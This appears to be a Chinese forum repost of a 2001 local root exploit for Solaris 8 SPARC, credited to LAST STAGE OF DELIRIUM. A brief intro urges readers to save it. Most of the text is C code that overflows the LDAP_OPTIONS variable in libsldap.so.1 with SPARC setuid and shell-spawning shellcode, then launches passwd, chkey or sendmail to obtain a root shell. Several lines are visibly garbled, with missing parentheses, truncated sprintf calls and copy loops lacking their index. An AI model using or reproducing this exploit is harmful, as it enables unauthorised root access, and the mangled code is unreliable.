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Solaris8模块加载严重系统漏洞
这个代码是hack.co.za上2001年7月才发布的,想必很多人都没有,赶快收好吧!!
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/*## copyright LAST STAGE OF DELIRIUM jun 2001 poland *://lsd-pl.net/ #*/
/*## libsldap.so.1 #*/
#define NOPNUM 16000
#define ADRNUM 512
char setuidcode[]=
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4>; */
"\x20\xbf\xff\xff" /* bn,a <shellcode>; */
"\x7f\xff\xff\xff" /* call <shellcode+4>; */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[30000],adr[4],*b,*envp[3];
int i,n=-1;
printf("copyright LAST STAGE OF DELIRIUM jun 2001 poland //lsd-pl.net/\n"
printf("libsldap.so.1 solaris 2.8 sparc\n\n"
if(argc==1){
printf("usage: %s {passwd|chkey|sendmail}\n",argv[0]);exit(-1);
}
if(!strcmp(argv[1],"passwd") n=0;
if(!strcmp(argv[1],"chkey") n=1;
if(!strcmp(argv[1],"sendmail") n=2;
if(n==-1) exit(-1);
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+14900+8000;
envp[0]=&buffer[0];
envp[1]=&buffer[1000];
envp[2]=0;
b=&buffer[0];
sprintf(b,"LDAP_OPTIONS="
b+=13;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
b=&buffer[1000];
sprintf(b,"xxx= "
b+=4+2;
for(i=0;i<16000;i++) *b++=nop[i%4];
for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode;
*b=0;
switch(n){
case 0: execle("/usr/bin/passwd","lsd",0,envp);
case 1: execle("/usr/bin/chkey","lsd",0,envp);
case 2: execle("/usr/lib/sendmail","lsd",0,envp);
}
}
/* www.hack.co.za [10 July 2001]*/
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